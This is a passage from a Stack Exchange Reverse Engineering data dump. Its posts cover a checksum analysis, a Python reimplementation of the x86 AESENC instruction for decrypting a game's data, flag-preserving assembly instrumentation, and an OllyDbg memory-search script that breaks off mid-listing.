Tags="|binary-analysis|decryption|crc|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9415" PostTypeId="2" ParentId="9413" CreationDate="2015-07-22T06:46:22.683" Score="8" Body="&lt;p&gt;This seems to be a checksum, just as you state in your question, not a CRC as mentioned in the header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Group the values into blocks of 4 bits, add them, ignore overflow (in these examples, ignore overflow means subtract 32):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1000 1000 0000 1000 0100 0101  0001 8+8+0+8+4+5=33  1&#xA;1000 1000 0000 1000 0101 0101  0010 8+8+0+8+5+5=34  2&#xA;1000 1000 0000 1000 0110 0101  0011 8+8+0+8+6+5=35  3&#xA;1000 1000 0000 1000 1000 0100  0100 8+8+0+8+8+4=36  4&#xA;1000 1000 0000 1000 1100 0101  1001 8+8+0+8+12+5=41 9&#xA;1000 1000 0000 1000 1101 0101  1010 8+8+0+8+13+5=42 10&#xA;1000 1000 0000 1000 1111 0101  1100 8+8+0+8+15+5=44 12&#xA;1000 1000 0000 0000 1100 0101  0001 8+8+0+0+12+5=33 1&#xA;1000 1000 1100 0000 0000 0101  0001 8+8+12+0+0+5=33 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-22T06:46:22.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9416" PostTypeId="1" AcceptedAnswerId="9433" CreationDate="2015-07-22T06:49:58.237" Score="4" ViewCount="1442" Body="&lt;p&gt;I'm having troubles implementing the AESENC x86 instruction in python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm reverse engineering the decryption of a indie video game. They use AES but they xor some generated data around and the key expansion is not standard, so I need to use custom round keys. I'm nearly complete, but I'm stumped in that the game uses the AESENC x86 instruction, which performs a single round of AES. This seemed trivial to implement but I'm not getting the same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more precise, when setting breakpoints and looking at memory&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AESENC(E98E03FAEAD91A951F6269D0D4DAFAD6, C62E6AD8CC162D7E210D91A142F2927B) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AABCA9C13C842D3112C48E822B050CF8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While my python implementation returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;aabca9c13b88ae173e2ea2680d02007b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This seems to be only matching the first 4 bytes. &#xA;My guess is that the mix_columns step is being done wrong, I've tried other implementations, but none seems to be matching the x86 instruction. I'm using the implementation found in the book &lt;a href=&quot;https://books.google.com/books?id=fNaoCAAAQBAJ&amp;amp;lpg=PA1&amp;amp;ots=7hJNyHRmob&amp;amp;dq=The%20Design%20of%20Rijndael&amp;amp;lr&amp;amp;pg=PA54#v=onepage&amp;amp;q&amp;amp;f=false&quot; rel=&quot;nofollow&quot;&gt;The Design of Rijndael Section 4.1.2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only documentation I found on AESENC was &lt;a href=&quot;http://www.felixcloutier.com/x86/AESENC.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, which unfortunately doesn't go into details on how the functions are implemented. If anyone know where I can get implementation specifics on the AESENC please do :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my full python implementation of AESENC so far:&#xA;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SBOX = (&#xA;    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,&#xA;    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,&#xA;    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,&#xA;    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,&#xA;    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,&#xA;    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,&#xA;    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,&#xA;    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,&#xA;    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,&#xA;    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,&#xA;    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,&#xA;    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,&#xA;    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,&#xA;    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,&#xA;    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,&#xA;    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,&#xA;)&#xA;&#xA;def list2hex(list):&#xA;    hex = &quot;&quot;&#xA;    for e in list:&#xA;        hex += &quot;{:02x}&quot;.format(e)&#xA;    return hex&#xA;&#xA;def hex2list(hex):&#xA;    lst = []&#xA;    if len(hex) % 2 == 0:&#xA;        for i in range(len(hex)/2):&#xA;            lst.append(int(hex[i*2:i*2+2], 16))&#xA;    return lst&#xA;&#xA;def xor(bytelist1, bytelist2):&#xA;    res = []&#xA;    length = min(len(bytelist1), len(bytelist2))&#xA;    for i in range(length):&#xA;        res.append(bytelist1[i] ^ bytelist2[i])&#xA;    return res&#xA;&#xA;def aesenc(state, roundkey, last=False):&#xA;    def shift_rows(state):&#xA;        state[4], state[5], state[6], state[7] = state[5], state[6], state[7], state[4]&#xA;        state[8], state[9], state[10], state[11] = state[10], state[11], state[8], state[9]&#xA;        state[12], state[13], state[14], state[15] = state[15], state[12], state[13], state[14]&#xA;&#xA;    def sub_bytes(state):&#xA;        for i in range(16):&#xA;            state[i] = SBOX[state[i]]&#xA;&#xA;    def mix_columns(state):&#xA;        xtime = lambda a: (((a &amp;lt;&amp;lt; 1) ^ 0x1B) &amp;amp; 0xFF) if (a &amp;amp; 0x80) else (a &amp;lt;&amp;lt; 1)&#xA;&#xA;        def mix_column(col):&#xA;            t = col[0] ^ col[1] ^ col[2] ^ col[3]&#xA;            u = col[0]&#xA;            col[0] ^= t ^ xtime(col[0] ^ col[1])&#xA;            col[1] ^= t ^ xtime(col[1] ^ col[2])&#xA;            col[2] ^= t ^ xtime(col[2] ^ col[3])&#xA;            col[3] ^= t ^ xtime(col[3] ^ u)&#xA;            return _col&#xA;&#xA;        return mix_column(state[0::4]) + \&#xA;                mix_column(state[1::4]) + \&#xA;                mix_column(state[2::4]) + \&#xA;                mix_column(state[3::4])&#xA;&#xA;    sub_bytes(state)&#xA;    shift_rows(state)&#xA;    if not last:&#xA;        state = mix_columns(state)&#xA;    return xor(state, roundkey)&#xA;&#xA;data = hex2list(&quot;E98E03FAEAD91A951F6269D0D4DAFAD6&quot;)&#xA;key = hex2list(&quot;C62E6AD8CC162D7E210D91A142F2927B&quot;)&#xA;&#xA;res = aesenc(data, key)&#xA;print list2hex(res)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13066" LastEditorUserId="13066" LastEditDate="2015-07-22T13:28:41.063" LastActivityDate="2015-07-24T11:53:39.687" Title="Reimplementing the x86 AESENC instruction in python" Tags="|assembly|x86|python|encryption|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9417" PostTypeId="2" ParentId="9348" CreationDate="2015-07-22T07:25:54.933" Score="1" Body="&lt;p&gt;What if you have &lt;code&gt;index&lt;/code&gt; count downward, and unconditionally mask it to handle wraparound, instead of a conditional?  Hmm, &lt;code&gt;AND&lt;/code&gt; sets all the flags, including &lt;code&gt;OF&lt;/code&gt; (which isn't saved/restored with &lt;code&gt;lahf/safh&lt;/code&gt;).  You could use an MMX register, but &lt;code&gt;PAND&lt;/code&gt; doesn't have an immediate form, so you'd need to have the constant in memory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BB23:      push %ecx&#xA;           ; movq %mm0, -8(%esp)   ; not safe if a signal handler fires while data is below the stack.&#xA;            ;  x86 has no red-zone.  But we can't sub $16, %esp  without clobbering flags&#xA;           movq   %mm0, save_mm0&#xA;           movd   index, %mm0&#xA;           psubd  one, %mm0      ;  mmx has no dec-by-one&#xA;           pand   my_mask, %mm0   ; (0x400000-1).  0-max -&amp;gt; untouched.  all-1s after wraparound -&amp;gt; max&#xA;           movd   %mm0, %ecx&#xA;           movl   $0x17, buf(,%ecx,4)&#xA;           ; movq   -8(%esp), %mm0&#xA;           movq   save_mm0, %mm0&#xA;           movl   %ecx, index&#xA;           pop    %ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On Intel, this is 10 uops, so it's potentially faster than the version using &lt;code&gt;LOOP&lt;/code&gt;.  Or only 8, if the code you're instrumenting doesn't use MMX, or doesn't use SSE, so you could avoid saving / restoring a vector reg.  Jumps interrupt the flow of uops from the decoders or uop cache, so it has that going for it, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It needs another 8 bytes of constants.  If they're in the same cache-line as index, that's not a big deal.  It does take significantly more instruction bytes.  On the upside, it's branchless, so inserting it all over the place won't pollute the branch predictor with a lot of taken branches.  (Arranging branches so the non-taken case is the common one would be better.  The save/restore flags version could use a cmov from a zeroed memory location, instead of a branch.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On SnB and newer, &lt;a href=&quot;https://stackoverflow.com/questions/26046634/micro-fusion-and-addressing-modes&quot;&gt;the scaled-offset version of store might not micro-fuse&lt;/a&gt;.   If the immediate data doesn't count as a 3rd input dependency, then it still can.  Otherwise, scale everything up by 4, including the constant for &lt;code&gt;psubd&lt;/code&gt;, then the store is &lt;code&gt;movl $0x17, buf(%ecx)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first version was going to save %mm0 on the stack, but there's no push for MMX regs.  That would have made it 11 uops, counting the stack-engine synchronization uop inserted before the &lt;code&gt;movq %mm0, -8(%rsp)&lt;/code&gt;, since it follows a stack instruction (&lt;code&gt;push&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="13014" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-07-22T07:25:54.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9418" PostTypeId="2" ParentId="9348" CreationDate="2015-07-22T08:30:09.877" Score="2" Body="&lt;p&gt;Posting a 2nd answer for a different method, combining &lt;code&gt;cmov&lt;/code&gt; to avoid a skip-1-instruction branch with @Ian Cook's nice lahf/sahf.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       push   %ecx&#xA;       movl   index, %ecx&#xA;&#xA;       push   %eax&#xA;       seto   %al            # save OF to AL&#xA;       lahf                  # save other flags to AH&#xA;&#xA;       movl   $0x17,  buf(,%ecx,0x4)&#xA;       dec    %ecx&#xA;       cmovc  buflen, %ecx       # load buflen constant from memory on wraparound&#xA;&#xA;       addb $127, %al            # restore OF&#xA;       sahf                      # restore other flags&#xA;       pop %eax&#xA;&#xA;       movl   %ecx,index&#xA;       pop %ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is 14 insns, all single-uop single cycle latency (on Intel).  So it's probably still slower than the LOOP version, except for not affecting the branch predictor if this code is duplicated all over the place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;a href=&quot;https://en.wikipedia.org/wiki/Intel_ADX&quot; rel=&quot;nofollow&quot;&gt;Intel ADX&lt;/a&gt; (add-with-carry using CF or OF, to allow two dep chains in parallel), you can avoid clobbering the overflow flag.  But it doesn't take an immediate arg, so you need a constant (-4) in memory.  You need to detect wrapping around zero, and avoid &lt;code&gt;cmp&lt;/code&gt;.  This instruction set extension was first supported in Broadwell (barely available for desktops, and not even all currently-for-sale laptops have it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, &lt;code&gt;clc / adcx  minus_one, %ecx&lt;/code&gt;  instead of &lt;code&gt;dec %ecx&lt;/code&gt; would save net instructions (one clc to save a &lt;code&gt;seto&lt;/code&gt; and &lt;code&gt;addb $127&lt;/code&gt; to save/restore the overflow flag), which isn't much.  13 uops is still more than my other answer, using an MMX reg for sub/mask to avoid touching flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is using &lt;code&gt;lea&lt;/code&gt;, and zeroing the high bits with a non-flag-affecting left and right shift (&lt;a href=&quot;https://en.wikipedia.org/wiki/Bit_Manipulation_Instruction_Sets#BMI2&quot; rel=&quot;nofollow&quot;&gt;BMI2&lt;/a&gt; (Haswell) instruction set's &lt;code&gt;SHLX / SHRX&lt;/code&gt;).  This avoids touching flags entirely:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;       push   %ecx&#xA;       movl   index, %ecx&#xA;&#xA;       movl   $0x17,  buf(,%ecx,0x4)&#xA;       lea    -1(%ecx), %ecx&#xA;       push   %eax&#xA;       movl   $bit_count, %eax   # 32 - significant bits in buflen&#xA;       shlx   %eax, %ecx, %ecx   # shift count has to be in a reg&#xA;       shrx   %eax, %ecx, %ecx&#xA;       pop    %eax&#xA;&#xA;       movl   %ecx,index&#xA;       pop %ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Well crap, no-flag shifts are only available as (Intel syntax) &lt;code&gt;shrx  r32a,  r/m32,  r32b&lt;/code&gt;, loading the the value to be shifted, not the shift count.  And an immediate shift count isn't available either, so I still needed to push/pop eax to get a 2nd register.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is 11 uops on Intel, all single-cycle latency.  It still doesn't beat the mmx version.&lt;/p&gt;&#xA;" OwnerUserId="13014" LastActivityDate="2015-07-22T08:30:09.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9419" PostTypeId="2" ParentId="9416" CreationDate="2015-07-22T13:32:23.147" Score="1" Body="&lt;p&gt;The documentation that you found to appears to be just a copy of the &lt;code&gt;AESENC&lt;/code&gt; page from Intel's &lt;a href=&quot;http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html&quot; rel=&quot;nofollow&quot;&gt;&quot;Software Developer's Manual&lt;/a&gt;.  The manual itself goes into much more detail on the implementation of AES in section 12.13.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note the importance of understanding the 'endianness' of the implementation. (Intel's differs from the FIPS standard.)&lt;/p&gt;&#xA;" OwnerUserId="4731" LastActivityDate="2015-07-22T13:32:23.147" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9421" PostTypeId="2" ParentId="9416" CreationDate="2015-07-22T16:43:33.607" Score="0" Body="&lt;p&gt;To know what the result of my mix_columns should be, I XORed the round key with the result, which gave me what I had, but with the bytes in the wrong order. Changing the return statement of the mix_columns from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return mix_column(state[0::4]) + \&#xA;        mix_column(state[1::4]) + \&#xA;        mix_column(state[2::4]) + \&#xA;        mix_column(state[3::4])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;return shift_rows(mix_column(state[0::4]) + \&#xA;                    mix_column(state[3::4]) + \&#xA;                    mix_column(state[2::4]) + \&#xA;                    mix_column(state[1::4]))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;returns me the bytes in the right order, which seems odd to me. Not only are the columns shifted, but also the individual bytes inside it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this technically answers the question and returns what I want, it feels hacky and wrong, so the question still stands: What did I miss?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I won't mark this answer as correct since I still don't understand what went wrong.&lt;/p&gt;&#xA;" OwnerUserId="13066" LastActivityDate="2015-07-22T16:43:33.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9422" PostTypeId="2" ParentId="6647" CreationDate="2015-07-22T18:41:54.817" Score="3" Body="&lt;p&gt;Well, I was tying few weeks ago to implement an ollyscript which triggers conditional beakpoints on each line where a desired alpha/numerical value is found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This program gives the user the choice of following one of 3 methods:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1- Trace methode (which works with numbers)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2- Memory breakpoints &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3- Smart research by setting unconditional breakpoints (works by two passes)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Golden script:&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COE &#xA;LC  &#xA;log &quot; This script is realised by AGAWA001 of StackExchange &quot;    &#xA;log &quot; This script should be executed on ODbgScript version +1.82.6&quot; &#xA;log &quot; This script must rerun twice atleast in case of smartresearch&quot;    &#xA;log &quot; you must restart your program once terminated to clear useless breakpoints&quot;   &#xA;log &quot; This script is used to check existence of an alpha/numeric value in memory&quot;   &#xA;log &quot; Unicode strings arent suppoted try to input first two unicode characters as number&quot;   &#xA;log &quot; in case when script stops, press spacebar focused on script window to force it to run&quot;    &#xA;log &quot; This script removes all beakpoints prealably set up and changes labels from command lines&quot;    &#xA;log &quot; To run this script as quick as possible, ollydbg window is prefered to be minimized during execution &quot;    &#xA;log &quot; All insider windows (log window,bp window,memory ,...) must be closed apart script window to ensure shortest runtime&quot; &#xA;log &quot; Trace procedure can encounter T-flag error, in this case try to get a grasp on it by binding esc key focused on script window&quot;    &#xA;log &quot; Some debuggers dont support ask command, so values must be injected manually and carefully instead of userprompt command in same line&quot;    &#xA;&#xA;log &quot;--------------------------------------------------------------------------------------&quot;    &#xA;log &quot; This is beta version, Contact me whether you find any bugs, regards.&quot; &#xA;log &quot;--------------------------------------------------------------------------------------&quot;    &#xA;&#xA;var str &#xA;var tmp &#xA;var start   &#xA;var finish  &#xA;var addr    &#xA;var ending  &#xA;var beginning   &#xA;var val &#xA;var value   &#xA;var swtch   &#xA;var stack   &#xA;var stackend    &#xA;var buff    &#xA;var offset  &#xA;var dll &#xA;var processkill &#xA;mov processkill,0   &#xA;mov offset,4    &#xA;alloc 1000                          &#xA;mov buff, $RESULT   &#xA;mov offst,ff    &#xA;GMEMI esp, MEMORYBASE   &#xA;mov stack,$RESULT   &#xA;GMEMI $RESULT, MEMORYSIZE   &#xA;mov stackend,$RESULT    &#xA;add stackend,stack  &#xA;gmi eip,MODULEBASE  &#xA;mov start,$RESULT   &#xA;mov finish,$RESULT  &#xA;gmi eip,MODULESIZE  &#xA;add finish,$RESULT  &#xA;gcmt finish &#xA;cmp $RESULT,&quot;complete&quot;  &#xA;je bypass   &#xA;cmp $RESULT,&quot;done&quot;  &#xA;je exit &#xA;preop eip   &#xA;gcmt $RESULT    &#xA;cmp $RESULT,&quot;ready&quot; &#xA;je check2   &#xA;preop eip   &#xA;gcmt $RESULT    &#xA;mov val,$RESULT &#xA;len $RESULT &#xA;ifg $RESULT,1   &#xA;atoi val    &#xA;mov val,$RESULT &#xA;mov dll,0   &#xA;ife val&amp;gt;&amp;gt;1f,1   &#xA;mul val,-1  &#xA;mov addr,eip-val    &#xA;jmp boucl   &#xA;else    &#xA;mov addr,eip+val    &#xA;jmp boucl2  &#xA;endif   &#xA;endif   &#xA;check2: &#xA;mov processkill,1   &#xA;bypass: &#xA;mul offst,10    &#xA;ask &quot;Enter value to look for (preceded by 'str:' in case of a formatted string ex: str:password ) &quot; &#xA;add offst,buff  &#xA;cmp $RESULT, 0  &#xA;je  theend  &#xA;mov str,$RESULT &#xA;mov value,$RESULT   &#xA;str str &#xA;len str &#xA;mov tmp,$RESULT &#xA;cmp tmp,5   &#xA;jb ok   &#xA;str str &#xA;scmp  str, &quot;str:&quot;, 4    &#xA;jne ok  &#xA;buf str &#xA;mov [esp-100],str   &#xA;mov value,0 &#xA;mov value,[esp-100+4]   &#xA;keepon: &#xA;mov [buff+offset-4],[esp-100+offset]    &#xA;add offset,4    &#xA;cmp tmp,offset  &#xA;jbe nok &#xA;jmp keepon  &#xA;ok: &#xA;mov [buff+offset-4],value   &#xA;nok:    &#xA;cmp processkill,1   &#xA;je loop &#xA;MSGYN &quot;do you want to set breakpoints on dlls ? &quot;   &#xA;ifeq $RESULT, 0 &#xA;mov dll,0   &#xA;else    &#xA;mov dll,1   &#xA;endif   &#xA;cmp $RESULT,2   &#xA;je theend   &#xA;jmp firstcheck  &#xA;returnback: &#xA;mov val,value   &#xA;MSGYN &quot;do you want to trace the information ? press no to proceed smart research &quot;  &#xA;cmp $RESULT, 2  &#xA;jne traced  &#xA;&#xA;&#xA;&#xA;&#xA;firstcheck: &#xA;mov val,0   &#xA;mov addr,0  &#xA;mov tmp,0   &#xA;mov str,0   &#xA;repeat: &#xA;mov [2*str+offst],c0+str    &#xA;add str,1   &#xA;cmp str,3   &#xA;jl repeat   &#xA;mov str,value   &#xA;buf str &#xA;findmem str, addr   &#xA;cmp $RESULT, 0  &#xA;je cont &#xA;mov addr,$RESULT    &#xA;itoa addr   &#xA;log &quot;value found in memory at &quot; + $RESULT   &#xA;ifeq tmp,0  &#xA;msgyn &quot;value found in memory would you like to set memory breakpoint there (see log) ?&quot; &#xA;mov tmp,$RESULT &#xA;cmp $RESULT,2   &#xA;je returnback   &#xA;endif   &#xA;mov val,addr    &#xA;GMEMI addr, MEMORYBASE  &#xA;mov addr,$RESULT    &#xA;gmi addr,PATH   &#xA;add buff,300    &#xA;mov [buff],$RESULT  &#xA;len [buff]  &#xA;mov str,$RESULT &#xA;add str,buff    &#xA;sub str,3   &#xA;cmp [str],&quot;dll&quot; &#xA;sub buff,300    &#xA;je cont &#xA;GMEMI addr, MEMORYSIZE  &#xA;cmp val,start   &#xA;jb performm &#xA;cmp val, finish &#xA;ja performm &#xA;add addr,$RESULT    &#xA;jmp repeat  &#xA;performm:   &#xA;cmp val,stack   &#xA;jb performm2    &#xA;cmp val, stackend   &#xA;ja performm2    &#xA;mov addr,val    &#xA;mov str,4   &#xA;jmp changeplan  &#xA;performm2:  &#xA;mov str,$RESULT     &#xA;sub str,1   &#xA;changeplan: &#xA;cmp tmp,0   &#xA;je saut &#xA;bprm addr,str   &#xA;mov val,[buff+400]  &#xA;mov [buff+404+val],addr &#xA;mov [buff+408+val],str  &#xA;add val,8   &#xA;mov [buff+400],val  &#xA;saut:   &#xA;add addr,str    &#xA;cmp tmp,0   &#xA;je repeat   &#xA;jmp cont    &#xA;&#xA;&#xA;&#xA;&#xA;&#xA;traced: &#xA;cmp $RESULT, 0  &#xA;je smartsearch  &#xA;&#xA;&#xA;&#xA;itoa val    &#xA;mov val,$RESULT &#xA;concatenate:    &#xA;len val &#xA;cmp $RESULT,8   &#xA;je stopit   &#xA;mov val,&quot;0&quot;+val &#xA;jmp concatenate &#xA;stopit: &#xA;mov str, &quot; EAX==&quot; + val+ &quot; | EBX==&quot; + val+ &quot; | ECX==&quot; + val+ &quot; | EDX==&quot; + val+ &quot; | ESI==&quot; + val+ &quot; | EDI==&quot; + val   &#xA;log &quot;---------------------value to trace is---------------------------&quot; &#xA;log str &#xA;log &quot;-----------------------------------------------------------------&quot; &#xA;ticnd str   &#xA;mov swtch,1 &#xA;jmp passover    &#xA;trace:  &#xA;precontinue:    &#xA;sti &#xA;mov addr,eip    &#xA;ti  &#xA;cmp eip,addr    &#xA;je precontinue  &#xA;passover:   &#xA;ifeq dll,0  &#xA;cmp eip,start   &#xA;jb run  &#xA;cmp eip,finish  &#xA;ja run  &#xA;jmp continue    &#xA;run:    &#xA;rtr &#xA;sti &#xA;cmp eip,start   &#xA;jb run  &#xA;cmp eip,finish  &#xA;ja run  &#xA;jmp trace   &#xA;endif   &#xA;continue:   &#xA;preop eip   &#xA;mov addr,$RESULT    &#xA;GOPI addr, 1, DATA  &#xA;cmp $RESULT,value   &#xA;je detected1    &#xA;GOPI addr, 2, DATA  &#xA;cmp $RESULT,value   &#xA;je detected2    &#xA;GOPI addr, 1, ADDR  &#xA;cmp $RESULT,7   &#xA;ja checkval &#xA;mov val,[buff]  &#xA;cmp swtch,1 &#xA;je trace    &#xA;jmp redo2   &#xA;checkval:   &#xA;mov tmp,0   &#xA;cmp [$RESULT],value &#xA;and [offst+1],ff00ff00  &#xA;mov val,7   &#xA;je affect   &#xA;add tmp,1   &#xA;cmp [$RESULT+1],value   &#xA;je affect   &#xA;add tmp,1   &#xA;cmp [$RESULT+2],value   &#xA;je affect   &#xA;add tmp,1   &#xA;cmp [$RESULT+3],value   &#xA;je affect   &#xA;GOPI addr, 2, ADDR  &#xA;cmp $RESULT,8   &#xA;add [offst+1],400050    &#xA;add [offst+1],val   &#xA;add [offst+3],val   &#xA;jb compare  &#xA;jmp round2  &#xA;affect: &#xA;add [offst+1],400050    &#xA;add [offst+1],val   &#xA;add [offst+3],val   &#xA;itoa $RESULT+tmp    &#xA;mov addr,$RESULT    &#xA;mov tmp,0   &#xA;mov val, buff+100   &#xA;jmp concat  &#xA;round2: &#xA;mov tmp,0   &#xA;cmp [$RESULT],value &#xA;je affect   &#xA;add tmp,1   &#xA;cmp [$RESULT+1],value   &#xA;je affect2  &#xA;add tmp,1   &#xA;cmp [$RESULT+2],value   &#xA;je affect2  &#xA;add tmp,1   &#xA;cmp [$RESULT+3],value   &#xA;je affect2  &#xA;cmp swtch,1 &#xA;je trace    &#xA;jmp redo2   &#xA;affect2:    &#xA;itoa $RESULT+tmp    &#xA;mov addr,$RESULT    &#xA;mov tmp,0   &#xA;mov val, buff+100   &#xA;jmp concat  &#xA;compare:    &#xA;mov val,[buff]  &#xA;mov [buff+e08],31303041 &#xA;cmp swtch,1 &#xA;je trace    &#xA;jmp redo2   &#xA;detected1:  &#xA;GOPI addr, 1, ADDR  &#xA;jmp branch  &#xA;detected2:  &#xA;GOPI addr, 2, ADDR  &#xA;branch:     &#xA;mov tmp,$RESULT &#xA;mov str,addr    &#xA;itoa str    &#xA;mov str,$RESULT &#xA;itoa value  &#xA;cmp tmp,0   &#xA;je eaxx &#xA;cmp tmp,1   &#xA;je ecxx &#xA;cmp tmp,2   &#xA;je edxx &#xA;cmp tmp,3   &#xA;je ebxx &#xA;cmp tmp,6   &#xA;je esii &#xA;cmp tmp,7   &#xA;je edii &#xA;log &quot;eip=&quot;+str  &#xA;mov addr,tmp    &#xA;mov tmp,0   &#xA;mov val, buff+100   &#xA;itoa addr   &#xA;mov addr,$RESULT    &#xA;mov str,0   &#xA;concat: &#xA;mov str,0   &#xA;mov str,[buff+tmp]  &#xA;itoa str    &#xA;mov str,$RESULT &#xA;mov [val] , &quot;[&quot; &#xA;mov [val+1],  addr  &#xA;len [val]   &#xA;mov [val+$RESULT], &quot;] == &quot;  &#xA;mov [val+$RESULT+5], str    &#xA;add val,$RESULT+5   &#xA;len [val]   &#xA;mov [val+$RESULT], &quot;&amp;amp;&quot;  &#xA;add val,$RESULT+1   &#xA;mov [val],0 &#xA;add tmp,1   &#xA;atoi addr   &#xA;mov addr,0  &#xA;mov addr,$RESULT    &#xA;add addr,1  &#xA;cmp offset-4,tmp    &#xA;jbe dobp    &#xA;cmp [addr],[buff+tmp]   &#xA;jne dobp2   &#xA;itoa addr   &#xA;mov addr,$RESULT    &#xA;jmp concat  &#xA;dobp:   &#xA;itoa addr   &#xA;log &quot;found at :&quot; + $RESULT  &#xA;msgyn &quot;perfect value found in memory ,would you like to clear all previous conditional breakpoints? press no to keep all breakpoints, cancel to stop script (see log window)&quot;   